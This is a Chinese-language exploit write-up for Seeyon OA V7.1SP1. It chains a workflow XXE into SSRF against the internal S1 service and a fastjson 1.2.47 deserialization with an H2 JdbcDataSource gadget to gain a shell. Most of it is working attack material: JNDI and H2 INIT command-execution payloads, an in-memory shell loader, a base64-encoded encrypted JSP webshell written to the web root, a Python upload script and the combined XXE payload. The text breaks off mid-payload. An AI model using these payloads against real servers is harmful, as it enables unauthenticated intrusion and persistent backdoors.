致远工作流XML外部实体注入攻击内网S1服务getshell漏洞分析

漏洞环境

V7.1SP1

漏洞分析

S1 fastjosn前台反序列化分析

致远的S1服务可以管理致远oa的启动和重启以及一些配置。从V7.1到V8.1SP2,S1的架构从C/S结构改为B/S结构,也就是可以通过浏览器访问,默认开启60001端口,内网访问。

在致远安装目录下的S1文件夹有一个Agent.jar,将其反编译可以看到S1的源码。

image-20231004151606952
image-20231004151536802

lib目录下可以看到S1服务的一些依赖,可以发现fastjson 1.2.47

image-20231004151814704

fastjson 1.2.47是存在反序列化漏洞的

image-20231004152042210

jd-gui全局搜索parseObject关键字

image-20231004152432098

找到com.seeyon.common.controller.AuthorityFilterController这个类的authSave方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
@RestController
@RequestMapping({"/auth"})
public class AuthorityFilterController {
private static final Logger LOG = LoggerFactory.getLogger(com.seeyon.common.controller.AuthorityFilterController.class);

@Resource
private IAuthService authService;

@Resource
private IConfigService configService;

@RequestMapping({"/authSave"})
public String authSave(HttpServletRequest request, HttpServletResponse response) {
if (!dbIsConnection())
return JsonResult.failed(ExceptionEnum.CONNECTIONERROR.getKey(), ExceptionEnum.CONNECTIONERROR.getValue());
String dog = DogUtils.getDogInfo();
String oaExc = ExceptionEnum.OAEXCEPTION.getKey() + "";
if (oaExc.equals(dog))
return JsonResult.failed(ExceptionEnum.OAEXCEPTION.getKey(), ");
String auth = request.getParameter("auth");
if (StringUtils.isNotBlank(auth)) {
JSONObject jSONObject = JSON.parseObject(auth);
String header = JSON.toJSONString(jSONObject.get("header"));
if (StringUtils.isBlank(header))
return JsonResult.failed(ExceptionEnum.NOSUCHMETHODEXCEPTION.getKey(), ");
HeaderBean headerBean = (HeaderBean)JSON.parseObject(header, HeaderBean.class);
String dogNo = headerBean.getDogNo();
if (StringUtils.isBlank(dogNo))
return JsonResult.failed(ExceptionEnum.NOSUCHMETHODEXCEPTION.getKey(), "license);
if (Long.parseLong(dog) != Long.parseLong(dogNo))
return JsonResult.failed(StatusCodeEnum.FAILEDCODE.getKey(), ");
}
Map<String, String> map = new HashMap<>();
map.put("type", "auth");
map.put("value", auth);
DynamicDataSourceContextHolder.setDatabaseType(DatabaseType.h2);
int delCount = this.authService.delAuthInfo();
int count = this.authService.authSave(map);
return JsonResult.success(StatusCodeEnum.SUCESSCODE.getKey(), ", new HashMap<>());

在60行会将auth通过fastjson从字符串解析成对象,并且参数是从request请求中获取的。没有看到鉴权,也就是可以通过构造auth参数可以直接通过fastjson反序列化漏洞RCE

1
2
3
String auth = request.getParameter("auth");
if (StringUtils.isNotBlank(auth)) {
JSONObject jSONObject = JSON.parseObject(auth);

直接访问/auth/authsave路由会返回404

image-20231004153637762

因为在BOOT-INF.classes.config.application.properties中指定了agent前缀

image-20231004153901449

所以需要访问

http://localhost:60001/agent/auth/authSave

image-20231004154312551

没有启动oa的情况下会报如上错误

因为在54行做了检测

image-20231004155042498

启动oa再访问

image-20231004160127389

接下来通过如下payload探测fastjson漏洞是否存在

1
{"@type":"java.net.InetSocketAddress"{"address":,"val":"zuw92x.dnslog.cn"}}

直接将payload url编码后进行提交

image-20231004160247938

这里通过报错信息盲猜需要对payload进行base64编码,再次提交,dnslog收到请求。

image-20231004165950101

在出网的情况下,可以直接使用JdbcRowSetImpl这条链直接远程加载恶意类直接RCE。

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:808/badNameClass",
"autoCommit":true
}
}
image-20231004170451621

fastjson 配合h2利用链实现不出网利用

但是很多时候,遇到的都是不出网的情况。从pockyray师傅那了解到fastjson可以通过h2利用链实现不出网利用。

要知道fastjson在使用parseObject将字符串反序列化成对象的时候,会默认调用该对象的无参构造方法settergetter方法。

所以说只需要在h2依赖中找到一个类,然后这个类中的静态代码块无参构造方法settergetter调用了一些恶意方法或者一些危险的操作,就可以利用fastjson反序列化实现自动调用。。

既然是通过fastjson反序列化h2依赖中的类,那就先来看看h2中执行命令的几种方式。

通过p牛发的h2命令执行的文章https://wx.zsxq.com/dweb2/index/topic_detail/185285425815252,`H2`可以通过`CREATE ALIAS`自定义函数执行命令

1
2
3
4
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('cmd /c calc.exe');

但这种方式仅适用于可以执行多条语句的场景。

但是大部分实际情况下,用户只能控制到JDBC的URL。URL中支持的一个配置 INIT ,INIT 这个参数表示在连接h2数据库时,仅支持执行一条初始化命令。

1
jdbc:h2:mem:test;MODE=MSSQLServer;INIT=RUNSCRIPT FROM 'http://127.0.0.1/test.sql'

在出网的情况通过RUNSCRIPT FROM 'http://127.0.0.1/test.sql' test.sql如上语句执行代码。目的是为了绕过只能执行一条语句的限制,但是我们需要解决的是不出网利用,所以明显不适应。

如果要想实现不出网利用,可以使用Groovy的方式,但是需要有Groovy依赖

1
2
3
4
5
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS shell2 AS
$$@groovy.transform.ASTTest(value={
assert java.lang.Runtime.getRuntime().exec("cmd.exe /c calc.exe")
})
def x$$

遗憾的是S1中没有看到Groovy的依赖。

最后文章中说了一种无额外依赖的任意命令执行方法

使用CREATE TRIGGER自定义函数的时候,可以使用//javascript 指JavaScript脚本执行。

image-20231005152643452

payload

1
2
3
4
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')
$$

但是org.h2.schema.TriggerObject@loadFromSource的方法和S1中h2的方法并不一样

h2-2.2.220.jar 可以通过如上payload执行代码的版本的org.h2.schema.TriggerObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private Trigger loadFromSource() {
SourceCompiler compiler = database.getCompiler();
synchronized (compiler) {
String fullClassName = Constants.USER_PACKAGE + ".trigger." + getName();
compiler.setSource(fullClassName, triggerSource);
try {
if (SourceCompiler.isJavaxScriptSource(triggerSource)) {
return (Trigger) compiler.getCompiledScript(fullClassName).eval();
} else {
final Method m = compiler.getMethod(fullClassName);
if (m.getParameterTypes().length > 0) {
throw new IllegalStateException("No parameters are allowed for a trigger");
}
return (Trigger) m.invoke(null);
}
} catch (DbException e) {
throw e;
} catch (Exception e) {
throw DbException.get(ErrorCode.SYNTAX_ERROR_1, e, triggerSource);
}
}
}

S1依赖中h2-1.4.193.jarorg.h2.schema.TriggerObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private Trigger loadFromSource() {
SourceCompiler compiler = database.getCompiler();
synchronized (compiler) {
String fullClassName = Constants.USER_PACKAGE + ".trigger." + getName();
compiler.setSource(fullClassName, triggerSource);
try {
Method m = compiler.getMethod(fullClassName);
if (m.getParameterTypes().length > 0) {
throw new IllegalStateException("No parameters are allowed for a trigger");
}
return (Trigger) m.invoke(null);
} catch (DbException e) {
throw e;
} catch (Exception e) {
throw DbException.get(ErrorCode.SYNTAX_ERROR_1, e, triggerSource);
}
}
}

没有了return (Trigger) compiler.getCompiledScript(fullClassName).eval();这条语句,也就意味着,不能通过最后一种方法执行命令,也没戏。

我问了伊雷利亚师傅,师傅反问我为什么要用为什么大家只能用runscript,是有什么限制么?,我说只能执行一条语句,师傅反问真的只能执行一条语句嘛

于是我跟了一下通过控制JDBCURL执行命令利用点

调用链

1
2
3
org.h2.server.web.WebApp#process
org.h2.server.web.WebApp#test
org.h2.server.web.WebServer#getConnection

org.h2.server.web.WebServer#getConnection方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Connection getConnection(String var1, String var2, String var3, String var4) throws SQLException {
var1 = var1.trim();
var2 = var2.trim();
Driver.load();
Properties var5 = new Properties();
var5.setProperty("user", var3.trim());
var5.setProperty("password", var4);
if (var2.startsWith("jdbc:h2:")) {
if (this.ifExists) {
var2 = var2 + ";IFEXISTS=TRUE";
}

return Driver.load().connect(var2, var5);
} else {
return JdbcUtils.getConnection(var1, var2, var5);
}
}

这个方法是通过用户名密码JDBCURL去获取一个Connection对象的方法,如果JDBCURL中开头为jdbc:h2:,则调用Driver.load().connect(var2, var5)

Driver.load().connect是一个public方法,我们在本地构建一下命令执行的参数进行调用。

1
2
3
4
5
final Properties properties = new Properties();
properties.put("user", "test");
properties.put("password", "test");
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS shell AS $$void shell(String s) throws Exception {\njava.lang.Runtime.getRuntime().exec(s);\n}$$;\nSELECT shell('cmd /c calc.exe');\n";
final Connection connect = Driver.load().connect(url, properties);
image-20231005162452300

会报一个URL format error;的错误。问了伊雷利亚师傅,需要对;进行转义。

1
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS shell AS $$void shell(String s) throws Exception {\njava.lang.Runtime.getRuntime().exec(s)\\;\n}$$\\;\nSELECT shell('cmd /c calc.exe')\\;\n";

执行

image-20231005163207983

计算器真的蹦出来了。之前文章中写的INIT后面写的只支持一条语句,在h2-1.4.193这个版本貌似没有限制。

INIT后面的语句是通过org.h2.engine.Engine#openSession方法中prepareCommand执行的。据伊雷利亚师傅说是支持多语句执行的。

image-20231005164021600

所以,目前已经在h2-1.4.193找到了执行命令的方法,是通过调用Driver.load().connect(url, properties)方法,控制url参数来执行命令。

JdbcDataSource

org.h2.jdbcx.JdbcDataSource这个类中getJdbcConnection方法中

image-20231005164438035

我们同样看到了Driver.load().connect。并且还是getter方法,满足了fastjson反序列化自动调用的条件。

fastjson 1.2.47中,使用如下payload触发反序列化

1
2
3
4
5
6
7
8
9
10
{"@type":"com.alibaba.fastjson.JSONObject",{
"a":{
"@type":"java.lang.Class",
"val":"org.h2.jdbcx.JdbcDataSource"
},
"b":{
"@type":"org.h2.jdbcx.JdbcDataSource",
"url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS shell AS $$void shell(String s) throws Exception {java.lang.Runtime.getRuntime().exec(s)\\;}$$\\;SELECT shell('cmd /c calc.exe');",
}
}}""}
image-20231005165408255

但是执行并不会蹦出计算机,原因是该payload在fastjson 1.2.47下只能会调用静态代码块无参构造以及setter方法

image-20231005165508442

还需要给payload 加上,就会自动调用getter方法了

1
"language":{"@type":"java.lang.String"{"$ref":"$"}
image-20231005165815304

最终fastjson调用JdbcDataSource的蹦计算器的payload如下

1
2
3
4
5
6
7
8
9
10
11
{"@type":"com.alibaba.fastjson.JSONObject",{
"a":{
"@type":"java.lang.Class",
"val":"org.h2.jdbcx.JdbcDataSource"
},
"b":{
"@type":"org.h2.jdbcx.JdbcDataSource",
"url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS shell AS $$void shell(String s) throws Exception {java.lang.Runtime.getRuntime().exec(s)\\;}$$\\;SELECT shell('cmd /c calc.exe');",
},
"language":{"@type":"java.lang.String"{"$ref":"$"}
}}""}

加载字节码 payload

1
2
3
4
5
6
7
8
9
10
11
{"@type":"com.alibaba.fastjson.JSONObject",{
"a":{
"@type":"java.lang.Class",
"val":"org.h2.jdbcx.JdbcDataSource"
},
"b":{
"@type":"org.h2.jdbcx.JdbcDataSource",
"url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS shell22 AS $$void shell22() throws Exception {java.lang.reflect.Method defineClass = null\\;defineClass = java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", String.class, byte[].class, int.class, int.class)\\;defineClass.setAccessible(true)\\;byte[] code = java.util.Base64.getDecoder().decode(\"内存马字节码base64编码\")\\;Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), \"WriteShell\", code, 0, code.length)\\;hello.newInstance()\\;}$$\\;SELECT shell22()\\;",
},
"language":{"@type":"java.lang.String"{"$ref":"$"}
}}""}

坑点:只能打一次

向致远web路径写入shell payload

1
2
3
4
5
6
7
8
9
10
11
{"@type":"com.alibaba.fastjson.JSONObject",{
"a":{
"@type":"java.lang.Class",
"val":"org.h2.jdbcx.JdbcDataSource"
},
"b":{
"@type":"org.h2.jdbcx.JdbcDataSource",
"url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS shell4 AS $$void shell4() throws Exception {java.io.PrintWriter printWriter2 = new java.io.PrintWriter(\"../ApacheJetspeed/webapps/ROOT/404.jsp\")\\;String s = \"PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiU+PCUhY2xhc3MgVSBleHRlbmRzIENsYXNzTG9hZGVyIHsKCQlVKENsYXNzTG9hZGVyIGMpIHsKCQkJc3VwZXIoYyk7CgkJfQoJCXB1YmxpYyBDbGFzcyBnKGJ5dGVbXSBiKSB7CgkJCXJldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLCAwLCBiLmxlbmd0aCk7CgkJfQoJfSU+CjwlCnRyeXsKCQlTdHJpbmcga2V5PSI5MDBiYzg4NWQ3NTUzMzc1IjsKCQlyZXF1ZXN0LnNldEF0dHJpYnV0ZSgic2t5Iiwga2V5KTsKCQlTdHJpbmcgZGF0YT1yZXF1ZXN0LmdldFJlYWRlcigpLnJlYWRMaW5lKCk7CgkJaWYgKGRhdGEhPSBudWxsKSB7CgkJCVN0cmluZyB2ZXIgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoImphdmEudmVyc2lvbiIpOwoJCQlieXRlW10gY29kZT1udWxsOwoJICAgICAgICBpZiAodmVyLmNvbXBhcmVUbygiMS44IikgPj0gMCkgewoJICAgICAgICAgICAgQ2xhc3MgQmFzZTY0ID0gQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkJhc2U2NCIpOwoJICAgICAgICAgICAgT2JqZWN0IERlY29kZXIgPSBCYXNlNjQuZ2V0TWV0aG9kKCJnZXREZWNvZGVyIiwgKENsYXNzW10pIG51bGwpLmludm9rZShCYXNlNjQsIChPYmplY3RbXSkgbnVsbCk7CgkgICAgICAgICAgICBjb2RlID0gKGJ5dGVbXSkgRGVjb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZGVjb2RlIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkYXRhLmdldEJ5dGVzKCJVVEYtOCIpfSk7CgkgICAgICAgIH0gZWxzZSB7CgkgICAgICAgICAgICBDbGFzcyBCYXNlNjQgPSBDbGFzcy5mb3JOYW1lKCJzdW4ubWlzYy5CQVNFNjREZWNvZGVyIik7CgkgICAgICAgICAgICBPYmplY3QgRGVjb2RlciA9IEJhc2U2NC5uZXdJbnN0YW5jZSgpOwoJICAgICAgICAgICAgY29kZSA9IChieXRlW10pIERlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117ZGF0YX0pOwoJICAgICAgICB9CgkJCUNpcGhlciBjID0gQ2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTsKCQkJYy5pbml0KDIsIG5ldyBTZWNyZXRLZXlTcGVjKGtleS5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQluZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwoY29kZSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTsKCQl9Cgl9Y2F0Y2goRXhjZXB0aW9uIGUpewp9OwpvdXQ9cGFnZUNvbnRleHQucHVzaEJvZHkoKTsKJT4=\"\\;String decodeString = new String(java.util.Base64.getDecoder().decode(s),\"UTF-8\")\\;printWriter2.println(decodeString)\\;printWriter2.close()\\;}$$\\;SELECT shell4()\\;",
},
"language":{"@type":"java.lang.String"{"$ref":"$"}
}}""}

最后只需要将如上payload 进行base64编码,往S1 /agent/auth/authSave接口发,即可实现不出网getshell

image-20231005173112460 image-20231005173138039

致远 工作流XML外部实体注入 分析

我们都知道S1服务是开在内网的,致远OA是可以远程访问的,都是在同一台服务器上。而/agent/auth/authSave接口是可以get方式提交payload。所以只需要在致远中找到一个XXE外部实体注入打SSRF就可以实现组合利用了。

可以通过工作流XML外部实体注入漏洞安全补丁补丁

https://service.seeyon.com/patchtools/tp.html#/patchList?type=%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81&id=109

image-20231006153620260

在7.1sp1环境下

补丁分析

com.seeyon.ctp.workflow.util.ImExportUtilcreateImportMap方法中发现差异

image-20231006154022497

可以看到,没打补丁前,直接创建了SAXReader对象并调用了read方法,将file对象传入进去。未做任何处理直接传参,可通过控制文件内容实现外部实体注入。

xxe 实现SSRF payload

xxe5.txt

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa [
<!ENTITY name SYSTEM "http://aaa.11ctr6.dnslog.cn" >
]>
<name>&name;</name>
image-20231006155436128 image-20231006155446438

已经确定可以通过如上payload触发SSRF,接下来只需要找到利用该漏洞的source

漏洞利用点是在com.seeyon.ctp.workflow.util.ImExportUtilcreateImportMap方法中,需要files变量可控。接下来找到createImportMap被调用的地方。

createImportMapcom/seeyon/ctp/workflow/manager/impl/WorkflowInnerApiManagerImpl中有两处调用。

com/seeyon/ctp/workflow/manager/impl/WorkflowInnerApiManagerImpl#importWorkFlow方法中

image-20231006165837779

该方法接收了一个files数组,便调用了ImExportUtil.createImportMap(files)方法。

importWorkFlowcom/seeyon/ctp/workflow/wapi/WorkflowApiManagerImpl#importWorkFlow中被调用

image-20231006170141745

com/seeyon/ctp/workflow/wapi/WorkflowApiManagerImpl.importWorkFlowcom/seeyon/ctp/workflow/designer/controller/WorkFlowDesignerController.class中被调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
public ModelAndView importProcess(HttpServletRequest request, HttpServletResponse response) throws Exception {
if (!(request instanceof MultipartHttpServletRequest)) {
throw new IllegalArgumentException("Argument request must be an instantce of MultipartHttpServletRequest. [" + request.getClass() + "]");
} else {
List<ValidateResultVO> validateResults = null;
boolean success = true;
ModelAndView modelAndView = new ModelAndView("ctp/workflow/workflowImportProcess");
InputStream inputStream = null;
BufferedOutputStream out = null;
InputStream is = null;
FileOutputStream fos = null;
BufferedOutputStream bos = null;

try {
MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest)request;
String maxUploadSizeExceeded = multipartRequest.getParameter("MaxUploadSizeExceeded");
if (maxUploadSizeExceeded != null) {
throw new BusinessException("fileupload.exception.MaxSize", new Object[]{maxUploadSizeExceeded});
}

String ex = multipartRequest.getParameter("unknownException");
if (ex != null) {
throw new BusinessException("fileupload.exception.unknown", new Object[]{ex});
}

Iterator fileNames = multipartRequest.getFileNames();
if (fileNames == null) {
ModelAndView var32 = modelAndView;
return var32;
}

label659:
while(true) {
MultipartFile fileItem;
do {
Object name;
do {
do {
if (!fileNames.hasNext()) {
break label659;
}

name = fileNames.next();
} while(name == null);
} while("".equals(name));

fileItem = multipartRequest.getFile(String.valueOf(name));
} while(fileItem == null);

inputStream = fileItem.getInputStream();
File tempFile = new File("./tempImportFile.zip");
if (tempFile.exists()) {
tempFile.delete();
}

tempFile.createNewFile();

try {
out = new BufferedOutputStream(new FileOutputStream(tempFile));
int len = false;
byte[] b = new byte[1024];

int len;
while((len = inputStream.read(b)) != -1) {
out.write(b, 0, len);
}
} catch (FileNotFoundException var51) {
logger.error("FileNotFoundException", var51);
} finally {
if (out != null) {
out.close();
}

}

File tempDir = new File("./tempImportFileDir");
int count;
if (tempDir.exists() && tempDir.isDirectory()) {
File[] childs = tempDir.listFiles();
if (childs != null && childs.length > 0) {
File[] var23 = childs;
count = childs.length;

for(int var21 = 0; var21 < count; ++var21) {
File file = var23[var21];
file.delete();
}

tempDir.delete();
}
}

tempDir.mkdir();
ZipFile tempZipFile = new ZipFile(tempFile);
Enumeration<ZipEntry> entrys = tempZipFile.getEntries();
String savepath = tempDir.getAbsolutePath() + File.separator;
int count = true;
byte[] buf = new byte[1024];

while(true) {
ZipEntry zipEntry;
String entryName;
int index;
do {
if (!entrys.hasMoreElements()) {
Map<String, String> resultMap = this.workflowApiManager.importWorkFlow((new File(tempDir.getAbsolutePath())).listFiles());
long formAppId = 3126480965985782508L;
validateResults = this.workflowApiManager.validateWorkflowForBusinessGenerator(formAppId);
if (validateResults != null && validateResults.size() > 0) {
success = false;
}
continue label659;
}

zipEntry = (ZipEntry)entrys.nextElement();
entryName = zipEntry.getName();
index = entryName.lastIndexOf("/");
} while(index > -1);

File newFile = new File(savepath + entryName);
boolean sucsess = newFile.createNewFile();

try {
if (sucsess) {
is = tempZipFile.getInputStream(zipEntry);
fos = new FileOutputStream(newFile);
bos = new BufferedOutputStream(fos);

while((count = is.read(buf)) > -1) {
bos.write(buf, 0, count);
}

bos.flush();
}
... 忽略

如上代码首先是从request请求对象中获取上传的文件fileItem,再创建一个tempImportFile.zip压缩文件,再将fileItem 写入tempImportFile.zip中,接着再创建一个tempImportFileDir目录,将tempImportFile.zip压缩包内文件挨个写入到tempImportFileDir目录下,在这个过程中,调用了this.workflowApiManager.importWorkFlow((new File(tempDir.getAbsolutePath())).listFiles());tempImportFileDir目录下所有文件作为参数调用了workflowApiManager.importWorkFlow方法进行处理。仅接着调用ImExportUtil.createImportMap(files)方法,最后再调用SAXReader.read(file)处理上传的压缩包内的文件,压缩包内中的文件内容,我们可控,所以才产生了XXE漏洞。

最后通过spring-workflow-controller.xml中的路由/workflow/designer.do指定method参数为importProcess可调用到com.seeyon.ctp.workflow.designer.controller.WorkFlowDesignerController方法

image-20231006170449722

整个调用链如下

1
2
3
4
5
6
/workflow/designer.do
WorkFlowDesignerController#importProcess
WorkflowApiManagerImpl.importWorkFlow
WorkflowInnerApiManagerImpl.importWorkFlow
ImExportUtil.createImportMap
SAXReader.read

最后,只需要将我们的 xxe 实现SSRF的payload,保存成txt,并压缩成zip文件,通过/workflow/designer.do上传。

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa [
<!ENTITY name SYSTEM "http://fany.fwn3ji.dnslog.cn" >
]>
<name>&name;</name>

上传脚本

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import base64

host = "http://172.20.10.23"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36",
"Cookie": "JSESSIONID=4BA348C973FF2EA93305F78D3CCC8C2D"
}
f = open("E:\\Desktop\\xxe5.zip", 'rb')

res = requests.post(url=host+"/seeyon/workflow/designer.do?method=importProcess", headers=headers, files={"file": f.read()}, verify=False)
print(res.text)
image-20231006171210258 image-20231006171217856

构造SSRF攻击S1服务Payload

通过以上对致远工作流XML外部实体注入的分析利用,已经可以 xxe 实现SSRF请求dnslog了,最后,只需要将fastjson的前台反序列化利用payload 进行组合,得到最终的xxe payload。

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa [
<!ENTITY name SYSTEM "http://127.0.0.1:60001/agent/auth/authSave?auth=CXsiQHR5cGUiOiJjb20uYWxpYmFiYS5mYXN0anNvbi5KU09OT2JqZWN0Iix7CgkJImEiOnsKCQkJIkB0eXBlIjoiamF2YS5sYW5nLkNsYXNzIiwKCQkJInZhbCI6Im9yZy5oMi5qZGJjeC5KZGJjRGF0YVNvdXJjZSIKCQl9LAoJCSJiIjp7CgkJCSJAdHlwZSI6Im9yZy5oMi5qZGJjeC5KZGJjRGF0YVNvdXJjZSIsCgkJCSJ1cmwiOiJqZGJjOmgyOm1lbTp0ZXN0O01PREU9TVNTUUxTZXJ2ZXI7SU5JVD1DUkVBVEUgQUxJQVMgc2hlbGw4IEFTICQkdm9pZCBzaGVsbDgoKSB0aHJvd3MgRXhjZXB0aW9uIHtqYXZhLmlvLlByaW50V3JpdGVyIHByaW50V3JpdGVyMiA9IG5ldyBqYXZhLmlvLlByaW50V3JpdGVyKFwiLi4vQXBhY2hlSmV0c3BlZWQvd2ViYXBwcy9ST09ULzQwNC5qc3BcIilcXDtTdHJpbmcgcyA9IFwiUENWQWNHRm5aU0JwYlhCdmNuUTlJbXBoZG1FdWRYUnBiQzRxTEdwaGRtRXVhVzh1S2l4cVlYWmhlQzVqY25sd2RHOHVLaXhxWVhaaGVDNWpjbmx3ZEc4dWMzQmxZeTRxSWlVK1BDVWhZMnhoYzNNZ1ZTQmxlSFJsYm1SeklFTnNZWE56VEc5aFpHVnlJSHNLQ1FsVktFTnNZWE56VEc5aFpHVnlJR01wSUhzS0NRa0pjM1Z3WlhJb1l5azdDZ2tKZlFvSkNYQjFZbXhwWXlCRGJHRnpjeUJuS0dKNWRHVmJYU0JpS1NCN0Nna0pDWEpsZEhWeWJpQnpkWEJsY2k1a1pXWnBibVZEYkdGemN5aGlMQ0F3TENCaUxteGxibWQwYUNrN0Nna0pmUW9KZlNVK0Nqd2xDblJ5ZVhzS0NRbFRkSEpwYm1jZ2EyVjVQU0k1TURCaVl6ZzROV1EzTlRVek16YzFJanNLQ1FseVpYRjFaWE4wTG5ObGRFRjBkSEpwWW5WMFpTZ2ljMnQ1SWl3Z2EyVjVLVHNLQ1FsVGRISnBibWNnWkdGMFlUMXlaWEYxWlhOMExtZGxkRkpsWVdSbGNpZ3BMbkpsWVdSTWFXNWxLQ2s3Q2drSmFXWWdLR1JoZEdFaFBTQnVkV3hzS1NCN0Nna0pDVk4wY21sdVp5QjJaWElnUFNCVGVYTjBaVzB1WjJWMFVISnZjR1Z5ZEhrb0ltcGhkbUV1ZG1WeWMybHZiaUlwT3dvSkNRbGllWFJsVzEwZ1kyOWtaVDF1ZFd4c093b0pJQ0FnSUNBZ0lDQnBaaUFvZG1WeUxtTnZiWEJoY21WVWJ5Z2lNUzQ0SWlrZ1BqMGdNQ2tnZXdvSklDQWdJQ0FnSUNBZ0lDQWdRMnhoYzNNZ1FtRnpaVFkwSUQwZ1EyeGhjM011Wm05eVRtRnRaU2dpYW1GMllTNTFkR2xzTGtKaGMyVTJOQ0lwT3dvSklDQWdJQ0FnSUNBZ0lDQWdUMkpxWldOMElFUmxZMjlrWlhJZ1BTQkNZWE5sTmpRdVoyVjBUV1YwYUc5a0tDSm5aWFJFWldOdlpHVnlJaXdnS0VOc1lYTnpXMTBwSUc1MWJHd3BMbWx1ZG05clpTaENZWE5sTmpRc0lDaFBZbXBsWTNSYlhTa2diblZzYkNrN0Nna2dJQ0FnSUNBZ0lDQWdJQ0JqYjJSbElEMGdLR0o1ZEdWYlhTa2dSR1ZqYjJSbGNpNW5aWFJEYkdGemN5Z3BMbWRsZEUxbGRHaHZaQ2dpWkdWamIyUmxJaXdnYm1WM0lFTnNZWE56VzExN1lubDBaVnRkTG1Oc1lYTnpmU2t1YVc1MmIydGxLRVJsWTI5a1pYSXNJRzVsZHlCUFltcGxZM1JiWFh0a1lYUmhMbWRsZEVKNWRHVnpLQ0pWVkVZdE9DSXBmU2s3Q2drZ0lDQWdJQ0FnSUgwZ1pXeHpaU0I3Q2drZ0lDQWdJQ0FnSUNBZ0lDQkRiR0Z6Y3lCQ1lYTmxOalFnUFNCRGJHRnpjeTVtYjNKT1lXMWxLQ0p6ZFc0dWJXbHpZeTVDUVZORk5qUkVaV052WkdWeUlpazdDZ2tnSUNBZ0lDQWdJQ0FnSUNCUFltcGxZM1FnUkdWamIyUmxjaUE5SUVKaGMyVTJOQzV1WlhkSmJuTjBZVzVqWlNncE93b0pJQ0FnSUNBZ0lDQWdJQ0FnWTI5a1pTQTlJQ2hpZVhSbFcxMHBJRVJsWTI5a1pYSXVaMlYwUTJ4aGMzTW9LUzVuWlhSTlpYUm9iMlFvSW1SbFkyOWtaVUoxWm1abGNpSXNJRzVsZHlCRGJHRnpjMXRkZTFOMGNtbHVaeTVqYkdGemMzMHBMbWx1ZG05clpTaEVaV052WkdWeUxDQnVaWGNnVDJKcVpXTjBXMTE3WkdGMFlYMHBPd29KSUNBZ0lDQWdJQ0I5Q2drSkNVTnBjR2hsY2lCaklEMGdRMmx3YUdWeUxtZGxkRWx1YzNSaGJtTmxLQ0pCUlZNaUtUc0tDUWtKWXk1cGJtbDBLRElzSUc1bGR5QlRaV055WlhSTFpYbFRjR1ZqS0d0bGVTNW5aWFJDZVhSbGN5Z3BMQ0FpUVVWVElpa3BPd29KQ1FsdVpYY2dWU2gwYUdsekxtZGxkRU5zWVhOektDa3VaMlYwUTJ4aGMzTk1iMkZrWlhJb0tTa3VaeWhqTG1SdlJtbHVZV3dvWTI5a1pTa3BMbTVsZDBsdWMzUmhibU5sS0NrdVpYRjFZV3h6S0hCaFoyVkRiMjUwWlhoMEtUc0tDUWw5Q2dsOVkyRjBZMmdvUlhoalpYQjBhVzl1SUdVcGV3cDlPd3B2ZFhROWNHRm5aVU